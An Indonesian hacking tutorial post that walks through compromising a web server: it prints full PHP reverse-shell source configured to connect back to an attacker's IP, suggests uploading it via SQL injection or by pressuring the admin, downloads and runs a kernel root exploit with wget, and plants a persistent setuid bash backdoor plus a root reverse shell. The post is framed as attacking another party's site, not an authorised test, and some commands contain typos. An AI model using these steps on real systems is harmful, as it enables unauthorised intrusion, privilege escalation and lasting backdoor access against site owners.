S4N - Soft4Newbie | Sebenarnya tidak jauh berbeda dengan Shell-shell yang tentunysa sudah banyak kita tau seperti c99, c100 b374k dan banyak lagi, dan tentu saja semua shell tersebut sudah di lengkapi dengan amunisi seperti backconnect dan sejenisnya, tetapi kadang-kadang setelah kita berhasil mengupload shell ke target kita tidak bisa melakukan connect back atau back connect ke kompi kita, akibat firewall atau akses yang di batasi, ya ujung-ujungnya kita hanya mendapatkan web shell yang kurang interaktif dan pada akhirnya pasti deface

Dalam thread ini saya akan mencoba mendemonstrasikan bagaiman menggunakan reverse shell terhadap sebuah target untuk mendapatkan shell yang interaktif dan akses root (kalo bisa, soalnya nulisnya sambil beraksi). Reverse shell di buat dalam bahasa PHP dan hanya di khsusukan untuk linux saja , reverse shell bisa di download di sini http://pentestmonkey.net/tools/php-reverse-shell, disini saya berasumsi bahwa reverse shell sudah di upload ke server target (terserah dengan cara apa, SQL injection, atau maksa si admin ngasi pass webnya

Configurasinya seperi berikut:
PHP Code:
$ip = "ip_yang_akan_dihubungi";
$port = "port_dari_ip";
PHP Code:
set_time_limit (0);
$VERSION = "1.0";
$ip = "ip_yang_akan_dihubungi";
$port = "port_dari_ip";
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
if (function_exists(‘pcntl_fork’)) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit(“ERROR: Can’t fork”);
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit(“Error: Can’t setsid()”);
exit(1);
}
$daemon = 1;
} else {
printit(“WARNING: Failed to daemonise. This is quite common and not fatal.”);
}
// Change to a safe directory
chdir(“/”);
// Remove any umask we inherited
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit(“$errstr ($errno)”);
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array(“pipe”, ”r”), // stdin is a pipe that the child will read from
1 => array(“pipe”, ”w”), // stdout is a pipe that the child will write to
2 => array(“pipe”, ”w”) // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit(“ERROR: Can’t spawn shell”);
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won’t
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit(“Successfully opened reverse shell to $ip:$port”);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit(“ERROR: Shell connection terminated”);
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit(“ERROR: Shell process terminated”);
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process’s STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit(“SOCK READ”);
$input = fread($sock, $chunk_size);
if ($debug) printit(“SOCK: $input”);
fwrite($pipes[0], $input);
}
// If we can read from the process’s STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit(“STDOUT READ”);
$input = fread($pipes[1], $chunk_size);
if ($debug) printit(“STDOUT: $input”);
fwrite($sock, $input);
}
// If we can read from the process’s STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit(“STDERR READ”);
$input = fread($pipes[2], $chunk_size);
if ($debug) printit(“STDERR: $input”);
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we’ve daemonised ourself
// (I can’t figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print ”$string\n”;
}
}
?>
Code:
http://webtarget.com/images/small/saya_upload_disini
Code:
http://webtarget.com/images/small/reverseshell.php
![[Image: 15115346.png]](http://img846.imageshack.us/img846/1212/15115346.png)

Download exploit dari
Code:
http://www.securityfocus.com/data/vulnerabilities/exploits/enlightenment-091009.tgz
Code:
wget http://www.securityfocus.com/data/vulnerabilities/exploits/enlightenment-091009.tgz
Code:
tar xvzf enlightenment-091009.tgz
Code:
cd enlightenment
Code:
./run_exploit.sh
![[Image: 24311425.png]](http://img819.imageshack.us/img819/3671/24311425.png)
Reverse Rootshell
kalo udah jado root setelah kita utak atik kernelnya, kini saatnya kita masang bacdoor untuk akses root, makdunya biar tiap kali kita akses kita langsung dapat root datnpa harus melakukan explotasi kernel lagi, untuk kita kopikan /bin/bash ke direktory /sbin/bash dan merubah permisisionya menjadi root, agar tiap kali di akses selalu menjadi root, kemudian kita membuat revserse shell dengan akses root.
Code:
sh-3.1# cp /bin/bash /sbin/bash
sh-3.1# ls -l
-rwrsx-xr-x 1 root root 722684 April 11:12 /sbin/bash
sh-3.1# pwd
/tmp/enlightenment
sh-3.1# cd /home/violapu/public_html/images/small/
sh-3.1# sed 's/bin/bash' revershell.php > rotshell.php
sh-3.1# head rootshell.php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = "ip_yang_akan_dihubungi";
$port = "port_dari_ip";
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/sbin/bash -p -i';
sh-3.1#
cukup dengan mengakses
Code:
http://server.com/images/small/rootshell.php



Posting Komentar